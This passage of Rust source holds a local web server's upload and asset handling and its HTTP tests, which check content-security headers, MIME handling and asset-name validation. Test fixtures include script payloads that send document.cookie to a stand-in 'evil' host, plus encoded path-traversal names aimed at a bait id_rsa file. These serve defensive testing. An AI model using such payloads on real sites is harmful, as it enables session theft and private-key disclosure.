4742 .split(';')
4743 .next()
4744 .unwrap_or("")
4745 .trim()
4746 .to_ascii_lowercase();
4747 ATTACHMENT_MIME_WHITELIST
4748 .iter()
4749 .find(|&&m| m == raw)
4750 .copied()
4751 .ok_or_else(|| {
4752 if raw == "image/svg+xml" {
4753 ApiError::bad_request(
4754 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4755 not just a picture",
4756 )
4757 } else if raw.is_empty() {
4758 ApiError::bad_request("Content-Type is required for an attachment upload")
4759 } else {
4760 ApiError::bad_request(format!(
4761 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4762 image/gif or image/webp"
4763 ))
4764 }
4765 })
4766}
4767
4768fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4771 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4772 Some("image/png")
4773 } else if data.starts_with(b"\xff\xd8\xff") {
4774 Some("image/jpeg")
4775 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4776 Some("image/gif")
4777 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4778 Some("image/webp")
4779 } else {
4780 None
4781 }
4782}
4783
4784fn filename_header(headers: &HeaderMap) -> String {
4790 headers
4791 .get(FILENAME_HEADER)
4792 .and_then(|v| v.to_str().ok())
4793 .map(str::trim)
4794 .filter(|s| !s.is_empty())
4795 .unwrap_or("attachment")
4796 .to_owned()
4797}
4798
4799fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4806 let content_type = ATTACHMENT_MIME_WHITELIST
4807 .iter()
4808 .find(|&&m| m == mime)
4809 .copied()
4810 .unwrap_or("application/octet-stream");
4811 (
4812 [
4813 (header::CONTENT_TYPE, content_type),
4814 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4815 ],
4816 body,
4817 )
4818 .into_response()
4819}
4820
4821async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4829 let repo = repo.to_path_buf();
4830 blocking(move || {
4831 let (cfg, _) = Config::discover(&repo, None)?;
4832 Ok(cfg)
4833 })
4834 .await
4835}
4836
4837fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4843 let mut hits = ids
4844 .into_iter()
4845 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4846 match (hits.next(), hits.next()) {
4847 (Some(one), None) => Ok(one),
4848 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4849 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4850 "`{prefix}` matches more than one {what}, including {a} and {b}"
4851 ))),
4852 }
4853}
4854
4855#[cfg(test)]
4856mod tests {
4857 use pretty_assertions::assert_eq;
4858 use serde_json::Value;
4859 use tempfile::TempDir;
4860 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4861
4862 use super::*;
4863 use crate::config::Config;
4864 use crate::queue::{Source, TaskStatus};
4865
4866 const SETTLE_STEPS: usize = 3_000;
4877
4878 struct Fixture {
4884 home: TempDir,
4885 addr: SocketAddr,
4886 }
4887
4888 impl Fixture {
4889 async fn start() -> Self {
4890 Self::with_loop(launch_idle).await
4891 }
4892
4893 async fn with_loop(launch: Launch) -> Self {
4895 let home = TempDir::new().expect("temp home");
4896 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4897 Self { home, addr }
4898 }
4899
4900 async fn with_repo(repo: PathBuf) -> Self {
4904 let home = TempDir::new().expect("temp home");
4905 let addr = Self::serve(home.path(), repo, launch_idle).await;
4906 Self { home, addr }
4907 }
4908
4909 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4910 let queue = Queue::at(home.join("queue"));
4911 let runs = home.join("runs");
4912 std::fs::create_dir_all(&runs).expect("runs dir");
4913 let worktrees = home.join("wt").join("magi");
4914 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4915 let ui = Ui::new(
4916 queue,
4917 Questions::at(home.join("questions")),
4918 Talks::at(home.join("talks")),
4919 runs,
4920 home.to_path_buf(),
4921 repo,
4922 )
4923 .with_worktrees_root(worktrees)
4924 .with_launch(launch);
4925 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4926 .await
4927 .expect("bind loopback");
4928 let addr = listener.local_addr().expect("local addr");
4929 tokio::spawn(async move {
4930 let _ = axum::serve(listener, ui.router()).await;
4931 });
4932 addr
4933 }
4934
4935 fn queue(&self) -> Queue {
4936 Queue::at(self.home.path().join("queue"))
4937 }
4938
4939 fn questions(&self) -> Questions {
4940 Questions::at(self.home.path().join("questions"))
4941 }
4942
4943 fn talks(&self) -> Talks {
4944 Talks::at(self.home.path().join("talks"))
4945 }
4946
4947 fn runs(&self) -> PathBuf {
4948 self.home.path().join("runs")
4949 }
4950
4951 async fn get(&self, path: &str) -> Res {
4952 request(self.addr, "GET", path, None).await
4953 }
4954
4955 async fn head(&self, path: &str) -> Res {
4960 request(self.addr, "HEAD", path, None).await
4961 }
4962
4963 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4964 request(self.addr, "POST", path, body).await
4965 }
4966
4967 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4968 request_with(self.addr, "GET", path, None, extra).await
4969 }
4970
4971 async fn delete(&self, path: &str) -> Res {
4972 request(self.addr, "DELETE", path, None).await
4973 }
4974
4975 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4977 request_bytes(self.addr, path, headers, body).await
4978 }
4979 }
4980
4981 struct Res {
4982 status: u16,
4983 headers: String,
4984 head: String,
4989 body: String,
4990 bytes: Vec<u8>,
4994 }
4995
4996 impl Res {
4997 fn json(&self) -> Value {
4998 serde_json::from_str(&self.body)
4999 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5000 }
5001
5002 fn header(&self, name: &str) -> Option<&str> {
5004 self.head.lines().find_map(|line| {
5005 let (key, value) = line.split_once(':')?;
5006 key.trim()
5007 .eq_ignore_ascii_case(name)
5008 .then(|| value.trim_start().trim_end_matches('\r'))
5009 })
5010 }
5011 }
5012
5013 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5016 request_with(addr, method, path, body, &[]).await
5017 }
5018
5019 async fn request_with(
5023 addr: SocketAddr,
5024 method: &str,
5025 path: &str,
5026 body: Option<&str>,
5027 extra: &[(&str, &str)],
5028 ) -> Res {
5029 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5030 for (name, value) in extra {
5031 head.push_str(&format!("{name}: {value}\r\n"));
5032 }
5033 if let Some(body) = body {
5034 head.push_str("Content-Type: application/json\r\n");
5035 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5036 }
5037 head.push_str("\r\n");
5038 if let Some(body) = body {
5039 head.push_str(body);
5040 }
5041 let mut socket = tokio::net::TcpStream::connect(addr)
5042 .await
5043 .expect("connect to the test server");
5044 socket
5045 .write_all(head.as_bytes())
5046 .await
5047 .expect("write request");
5048 let mut raw = Vec::new();
5049 socket.read_to_end(&mut raw).await.expect("read response");
5050 let split = raw
5053 .windows(4)
5054 .position(|w| w == b"\r\n\r\n")
5055 .expect("a header block");
5056 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5057 let bytes = raw[split + 4..].to_vec();
5058 let status = head
5059 .lines()
5060 .next()
5061 .and_then(|line| line.split_whitespace().nth(1))
5062 .and_then(|code| code.parse().ok())
5063 .expect("a status line");
5064 Res {
5065 status,
5066 headers: head.to_lowercase(),
5067 head,
5068 body: String::from_utf8_lossy(&bytes).into_owned(),
5069 bytes,
5070 }
5071 }
5072
5073 async fn request_bytes(
5079 addr: SocketAddr,
5080 path: &str,
5081 headers: &[(&str, &str)],
5082 body: &[u8],
5083 ) -> Res {
5084 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5085 for (name, value) in headers {
5086 head.push_str(&format!("{name}: {value}\r\n"));
5087 }
5088 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5089 let mut socket = tokio::net::TcpStream::connect(addr)
5090 .await
5091 .expect("connect to the test server");
5092 socket
5093 .write_all(head.as_bytes())
5094 .await
5095 .expect("write request head");
5096 socket.write_all(body).await.expect("write request body");
5097 let mut raw = Vec::new();
5098 socket.read_to_end(&mut raw).await.expect("read response");
5099 let split = raw
5100 .windows(4)
5101 .position(|w| w == b"\r\n\r\n")
5102 .expect("a header block");
5103 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5104 let bytes = raw[split + 4..].to_vec();
5105 let status = head
5106 .lines()
5107 .next()
5108 .and_then(|line| line.split_whitespace().nth(1))
5109 .and_then(|code| code.parse().ok())
5110 .expect("a status line");
5111 Res {
5112 status,
5113 headers: head.to_lowercase(),
5114 head,
5115 body: String::from_utf8_lossy(&bytes).into_owned(),
5116 bytes,
5117 }
5118 }
5119
5120 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5122 let mut state = RunState::new(
5123 PathBuf::from("/repo/magi"),
5124 "main".to_owned(),
5125 "0123456789abcdef".to_owned(),
5126 "Add a web UI\n\nMobile first.".to_owned(),
5127 Config::default(),
5128 );
5129 state.id = id.to_owned();
5130 state.status = status;
5131 let dir = runs.join(id);
5132 std::fs::create_dir_all(&dir).expect("run dir");
5133 std::fs::write(
5134 dir.join("run.json"),
5135 serde_json::to_string_pretty(&state).expect("serialize run"),
5136 )
5137 .expect("write run.json");
5138 }
5139
5140 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5144 let mut state = RunState::new(
5145 PathBuf::from(repo),
5146 "main".to_owned(),
5147 "0123456789abcdef".to_owned(),
5148 "task".to_owned(),
5149 Config::default(),
5150 );
5151 state.id = id.to_owned();
5152 state.status = status;
5153 let dir = runs.join(id);
5154 std::fs::create_dir_all(&dir).expect("run dir");
5155 std::fs::write(
5156 dir.join("run.json"),
5157 serde_json::to_string_pretty(&state).expect("serialize run"),
5158 )
5159 .expect("write run.json");
5160 }
5161
5162 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5163 let body = serde_json::json!({
5164 "schema": 1,
5165 "pid": 4242,
5166 "started_at": Timestamp::now().to_string(),
5167 "updated_at": updated_at.to_string(),
5168 "idle": false,
5169 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5170 "completed": 7,
5171 "polls": 143,
5172 });
5173 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5174 }
5175
5176 fn launch_idle(
5186 _opts: daemon::Opts,
5187 stop: daemon::Stop,
5188 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5189 Box::pin(async move {
5190 while !stop.stopped() {
5191 tokio::time::sleep(Duration::from_millis(2)).await;
5192 }
5193 Ok(())
5194 })
5195 }
5196
5197 fn launch_broken(
5200 _opts: daemon::Opts,
5201 _stop: daemon::Stop,
5202 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5203 Box::pin(async {
5204 Err(anyhow::anyhow!(
5205 "publish the daemon status file: read-only file system"
5206 ))
5207 })
5208 }
5209
5210 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5217 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5218
5219 fn launch_knocking_on_the_way_out(
5226 _opts: daemon::Opts,
5227 stop: daemon::Stop,
5228 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5229 Box::pin(async move {
5230 while !stop.stopped() {
5231 tokio::time::sleep(Duration::from_millis(2)).await;
5232 }
5233 let addr = PARK_KNOCK
5234 .lock()
5235 .expect("park knock")
5236 .expect("the test set an address");
5237 let heard = request(addr, "GET", "/api/health", None).await.status;
5238 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5239 Ok(())
5240 })
5241 }
5242
5243 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5252 for _ in 0..SETTLE_STEPS {
5253 let view = fx.get("/api/loop").await.json();
5254 if want(&view) {
5255 return view;
5256 }
5257 tokio::time::sleep(Duration::from_millis(10)).await;
5258 }
5259 panic!(
5260 "the loop never settled: {}",
5261 fx.get("/api/loop").await.json()
5262 );
5263 }
5264
5265 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5267 let store = fx.questions();
5268 let mut q = Question::new(
5269 "20260902-000000-beef".to_owned(),
5270 "implement".to_owned(),
5271 "impl-A".to_owned(),
5272 summary.to_owned(),
5273 "because it matters".to_owned(),
5274 choices.iter().map(|c| (*c).to_owned()).collect(),
5275 );
5276 store.put(&mut q).expect("put question");
5277 q.id
5278 }
5279
5280 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5286 let store = fx.questions();
5287 let mut q = Question::new(
5288 "20260902-000000-beef".to_owned(),
5289 "land".to_owned(),
5290 "fix".to_owned(),
5291 "Merge this?".to_owned(),
5292 "the diff is in the panel".to_owned(),
5293 vec!["merge".to_owned(), "hold".to_owned()],
5294 );
5295 let staging = fx.home.path().join("staging");
5298 std::fs::create_dir_all(&staging).expect("staging dir");
5299 let sources: Vec<PathBuf> = assets
5300 .iter()
5301 .map(|(name, bytes)| {
5302 let path = staging.join(name);
5303 std::fs::write(&path, bytes).expect("write staged asset");
5304 path
5305 })
5306 .collect();
5307 store
5308 .put_panel(&mut q, html, &sources)
5309 .expect("write the panel");
5310 store.put(&mut q).expect("put question");
5311 q.id
5312 }
5313
5314 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5323 let store = fx.talks();
5324 std::fs::create_dir_all(store.root()).expect("talks dir");
5325 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5326 .expect("serialize a seat");
5327 let body = serde_json::json!({
5328 "schema": 1,
5329 "id": id,
5330 "repo": "/repo/magi",
5331 "agent": "mock",
5332 "status": status,
5333 "turns": [],
5334 "created_at": Timestamp::now().to_string(),
5335 "updated_at": Timestamp::now().to_string(),
5336 "seat": seat,
5337 });
5338 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5339 store.get(id).expect("the seeded talk has to be readable");
5340 id.to_owned()
5341 }
5342
5343 #[tokio::test]
5344 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5345 let fx = Fixture::start().await;
5346 let id = panel(
5347 &fx,
5348 "<h1>Merge?</h1><img src=\"diff.svg\">",
5349 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5350 );
5351
5352 for path in [
5353 format!("/api/questions/{id}/panel"),
5354 format!("/api/questions/{id}/asset/diff.svg"),
5355 ] {
5356 let res = fx.get(&path).await;
5357 assert_eq!(res.status, 200, "{path}: {}", res.body);
5358 assert_eq!(
5364 res.header("content-security-policy"),
5365 Some(
5366 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5367 font-src data:; base-uri 'none'; form-action 'none'; \
5368 frame-ancestors 'self'"
5369 ),
5370 "{path} is the only thing between a hostile panel and the tailnet"
5371 );
5372 assert_eq!(
5373 res.header("x-content-type-options"),
5374 Some("nosniff"),
5375 "{path}: a browser must not re-decide the type we sent"
5376 );
5377 assert_eq!(
5378 res.header("referrer-policy"),
5379 Some("no-referrer"),
5380 "{path}: a panel must not leak the question id off the machine"
5381 );
5382
5383 let pre = fx.head(&path).await;
5388 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5389 assert_eq!(
5390 pre.header("content-security-policy"),
5391 res.header("content-security-policy"),
5392 "{path}: the preflight carries the same policy"
5393 );
5394 assert_eq!(
5395 pre.header("content-type"),
5396 res.header("content-type"),
5397 "{path}: the preflight carries the same type"
5398 );
5399 }
5400 }
5401
5402 #[tokio::test]
5403 async fn a_panel_reaches_the_browser_byte_for_byte() {
5404 let fx = Fixture::start().await;
5405 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5410 let id = panel(&fx, html, &[]);
5411
5412 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5413
5414 assert_eq!(res.status, 200);
5415 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5416 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5417 assert_eq!(
5418 res.header("content-disposition"),
5419 None,
5420 "the panel itself is rendered in the frame, not downloaded"
5421 );
5422 }
5423
5424 #[tokio::test]
5425 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5426 let fx = Fixture::start().await;
5427 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5428 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5429 let id = panel(
5430 &fx,
5431 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5432 &[("diff.svg", svg), ("shot.png", png)],
5433 );
5434
5435 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5436 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5437
5438 assert_eq!(as_svg.status, 200);
5439 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5440 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5445
5446 assert_eq!(as_png.status, 200);
5447 assert_eq!(as_png.header("content-type"), Some("image/png"));
5448 assert_eq!(
5449 as_png.header("content-disposition"),
5450 None,
5451 "a raster image has no execution surface, so tapping it still shows it"
5452 );
5453 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5454 }
5455
5456 #[tokio::test]
5457 async fn an_html_asset_is_never_served_as_html() {
5458 let fx = Fixture::start().await;
5459 let id = panel(
5460 &fx,
5461 "<p>see the notes</p>",
5462 &[
5463 (
5464 "notes.html",
5465 b"<script>fetch('http://evil/'+document.cookie)</script>",
5466 ),
5467 ("hook.js", b"fetch('http://evil/')"),
5468 ("data.json", b"{}"),
5469 ("HEADLINE.TXT", b"plain"),
5470 ],
5471 );
5472
5473 for name in ["notes.html", "hook.js", "data.json"] {
5474 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5475 assert_eq!(res.status, 200, "{name}: {}", res.body);
5476 assert_eq!(
5481 res.header("content-type"),
5482 Some("application/octet-stream"),
5483 "{name} must not be a type the browser will execute or render"
5484 );
5485 }
5486 let txt = fx
5489 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5490 .await;
5491 assert_eq!(
5492 txt.header("content-type"),
5493 Some("text/plain; charset=utf-8")
5494 );
5495 }
5496
5497 #[tokio::test]
5498 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5499 let fx = Fixture::start().await;
5500 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5501 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5505
5506 for encoded in [
5513 "%2e%2e%2fid_rsa",
5514 "..%2fid_rsa",
5515 "..%5cid_rsa",
5516 "%2e%2e%5cid_rsa",
5517 "diff%00.svg",
5518 "..",
5519 ".hidden",
5520 "%2e%2e%2f%2e%2e%2fid_rsa",
5521 ] {
5522 let res = fx
5523 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5524 .await;
5525 assert_eq!(
5526 res.status, 400,
5527 "`{encoded}` has to be refused by name, not looked up: {}",
5528 res.body
5529 );
5530 assert!(res.json()["error"].is_string(), "{}", res.body);
5531 }
5532
5533 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5539 let res = fx
5540 .get(&format!("/api/questions/{id}/asset/{literal}"))
5541 .await;
5542 assert_eq!(
5543 res.status, 404,
5544 "`{literal}` must not match the asset route at all: {}",
5545 res.body
5546 );
5547 }
5548 }
5549
5550 #[tokio::test]
5551 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5552 let fx = Fixture::start().await;
5553 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5554 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5555
5556 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5560 assert_eq!(none.status, 404, "{}", none.body);
5561 assert!(none.json()["error"].is_string(), "{}", none.body);
5562 assert_eq!(
5563 fx.head(&format!("/api/questions/{plain}/panel"))
5564 .await
5565 .status,
5566 404,
5567 "the preflight is the only way the client can learn this"
5568 );
5569
5570 let missing = fx
5572 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5573 .await;
5574 assert_eq!(missing.status, 404, "{}", missing.body);
5575 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5576
5577 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5579 assert_eq!(
5580 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5581 404
5582 );
5583 }
5584
5585 #[tokio::test]
5586 async fn a_run_with_an_open_question_reads_as_waiting() {
5587 let fx = Fixture::start().await;
5588 let run = "20260902-000000-beef".to_owned();
5589 write_run(&fx.runs(), &run, RunStatus::Implementing);
5590
5591 let before = fx.get("/api/runs").await.json();
5592 assert_eq!(before[0]["waiting"], false, "{before}");
5593
5594 let store = fx.questions();
5595 let mut q = Question::new(
5596 run.clone(),
5597 "implement".to_owned(),
5598 "impl-A".to_owned(),
5599 "Which backend?".to_owned(),
5600 String::new(),
5601 vec!["SQLite".to_owned()],
5602 );
5603 store.put(&mut q).expect("put");
5604
5605 let during = fx.get("/api/runs").await.json();
5606 assert_eq!(during[0]["waiting"], true, "{during}");
5607
5608 q.answer(Answer::Choice("SQLite".to_owned()))
5611 .expect("answer");
5612 store.put(&mut q).expect("put");
5613 let after = fx.get("/api/runs").await.json();
5614 assert_eq!(after[0]["waiting"], false, "{after}");
5615 }
5616
5617 #[tokio::test]
5618 async fn an_open_question_is_listed_and_counted_by_health() {
5619 let fx = Fixture::start().await;
5620 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5621
5622 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5623 let listed = fx.get("/api/questions").await.json();
5624 assert_eq!(listed.as_array().expect("array").len(), 1);
5625 assert_eq!(listed[0]["id"], id);
5626 assert_eq!(listed[0]["status"], "open");
5627 assert_eq!(listed[0]["choices"][1], "Redis");
5628 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5631 }
5632
5633 #[tokio::test]
5634 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5635 let fx = Fixture::start().await;
5636 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5637 let path = format!("/api/questions/{id}/answer");
5638
5639 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5640 assert_eq!(res.status, 200, "{}", res.body);
5641 let body = res.json();
5642 assert_eq!(body["status"], "answered");
5643 assert_eq!(body["answer"]["choice"], "Redis");
5644
5645 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5649 assert_eq!(again.status, 409, "{}", again.body);
5650 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5651 }
5652
5653 #[tokio::test]
5654 async fn saying_something_appends_a_turn_without_answering() {
5655 let fx = Fixture::start().await;
5656 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5657 let path = format!("/api/questions/{id}/say");
5658
5659 let res = fx
5660 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5661 .await;
5662 assert_eq!(res.status, 200, "{}", res.body);
5663 let body = res.json();
5664 assert_eq!(body["status"], "open", "talking back is not a decision");
5665 assert_eq!(body["answer"], Value::Null);
5666 assert_eq!(body["thread"][0]["who"], "operator");
5667 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5668 assert_eq!(body["waiting_on_agent"], true);
5669 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5671 }
5672
5673 #[tokio::test]
5674 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5675 let fx = Fixture::start().await;
5676 let store = fx.questions();
5677 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5678 assert_eq!(
5679 fx.get("/api/health").await.json()["questions_needs_owner"],
5680 1
5681 );
5682
5683 let res = fx
5689 .post(
5690 &format!("/api/questions/{id}/say"),
5691 Some(r#"{"body":"why not Postgres?"}"#),
5692 )
5693 .await;
5694 assert_eq!(res.status, 200, "{}", res.body);
5695 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5696 assert_eq!(
5697 fx.get("/api/health").await.json()["questions_needs_owner"],
5698 0,
5699 "waiting on the agent is not waiting on the owner"
5700 );
5701
5702 let mut q = store.get(&id).expect("get");
5706 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5707 .expect("reply");
5708 store.put(&mut q).expect("put");
5709 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5710 assert_eq!(
5711 fx.get("/api/health").await.json()["questions_needs_owner"],
5712 1,
5713 "the agent's reply is what should light the banner back up"
5714 );
5715 }
5716
5717 #[tokio::test]
5718 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5719 let fx = Fixture::start().await;
5720 let store = fx.questions();
5721
5722 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5723 let res = fx
5724 .post(
5725 &format!("/api/questions/{empty_id}/say"),
5726 Some(r#"{"body":" "}"#),
5727 )
5728 .await;
5729 assert_eq!(res.status, 400, "{}", res.body);
5730
5731 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5732 let mut answered = store.get(&answered_id).expect("get");
5733 answered
5734 .answer(Answer::Choice("SQLite".to_owned()))
5735 .expect("answer");
5736 store.put(&mut answered).expect("put");
5737 let res = fx
5738 .post(
5739 &format!("/api/questions/{answered_id}/say"),
5740 Some(r#"{"body":"still there?"}"#),
5741 )
5742 .await;
5743 assert_eq!(res.status, 409, "{}", res.body);
5744
5745 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5746 let mut abandoned = store.get(&abandoned_id).expect("get");
5747 abandoned.abandon("timed out");
5748 store.put(&mut abandoned).expect("put");
5749 let res = fx
5750 .post(
5751 &format!("/api/questions/{abandoned_id}/say"),
5752 Some(r#"{"body":"still there?"}"#),
5753 )
5754 .await;
5755 assert_eq!(res.status, 409, "{}", res.body);
5756 }
5757
5758 #[tokio::test]
5759 async fn an_answer_the_question_does_not_offer_is_refused() {
5760 let fx = Fixture::start().await;
5761 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5762 let path = format!("/api/questions/{id}/answer");
5763
5764 for body in [
5765 r#"{"choice":"Postgres"}"#,
5766 r#"{"text":"whatever you think"}"#,
5767 r#"{"choice":"Redis","text":"both"}"#,
5768 r#"{}"#,
5769 ] {
5770 let res = fx.post(&path, Some(body)).await;
5771 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5772 assert!(res.json()["error"].is_string(), "{}", res.body);
5773 }
5774 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5776 }
5777
5778 #[tokio::test]
5779 async fn a_free_text_question_takes_text_and_not_a_choice() {
5780 let fx = Fixture::start().await;
5781 let id = ask(&fx, "What should the flag be called?", &[]);
5782 let path = format!("/api/questions/{id}/answer");
5783
5784 assert_eq!(
5785 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5786 400
5787 );
5788 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5789 assert_eq!(res.status, 200, "{}", res.body);
5790 assert_eq!(res.json()["answer"]["text"], "--json");
5791 }
5792
5793 #[tokio::test]
5794 async fn an_unknown_question_is_a_json_404() {
5795 let fx = Fixture::start().await;
5796 let res = fx
5797 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5798 .await;
5799 assert_eq!(res.status, 404, "{}", res.body);
5800 assert!(res.json()["error"].is_string());
5801 }
5802
5803 #[tokio::test]
5804 async fn notifications_list_read_dismiss_and_health_agree() {
5805 let fx = Fixture::start().await;
5806 let store = Notices::at(fx.home.path().join("notifications"));
5807 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5808 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5809
5810 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5811 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5812
5813 let health = fx.get("/api/health").await.json();
5814 assert_eq!(health["notifications_unread"], 2);
5815 assert_ne!(
5816 health["notifications_rev"], rev0,
5817 "the badge must move live"
5818 );
5819
5820 let listed = fx.get("/api/notifications").await.json();
5821 assert_eq!(listed["unread"], 2);
5822 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5823 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5824
5825 let read = fx
5826 .post(&format!("/api/notifications/{}/read", a.id), None)
5827 .await;
5828 assert_eq!(read.status, 200, "{}", read.body);
5829 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5830
5831 let gone = fx
5832 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5833 .await;
5834 assert_eq!(gone.status, 200, "{}", gone.body);
5835 let listed = fx.get("/api/notifications").await.json();
5836 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5837 assert_eq!(listed["unread"], 0);
5838
5839 store.raise(Notice::info("x", "again")).unwrap();
5840 let all = fx.post("/api/notifications/read-all", None).await;
5841 assert_eq!(all.status, 200, "{}", all.body);
5842 assert_eq!(all.json()["marked"], 1);
5843 assert_eq!(
5844 fx.get("/api/health").await.json()["notifications_unread"],
5845 0
5846 );
5847
5848 let missing = fx.post("/api/notifications/nope/read", None).await;
5849 assert_eq!(missing.status, 404, "{}", missing.body);
5850 assert!(missing.json()["error"].is_string());
5851 }
5852
5853 #[tokio::test]
5860 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5861 let f = Fixture::start().await;
5862
5863 let res = f
5864 .post(
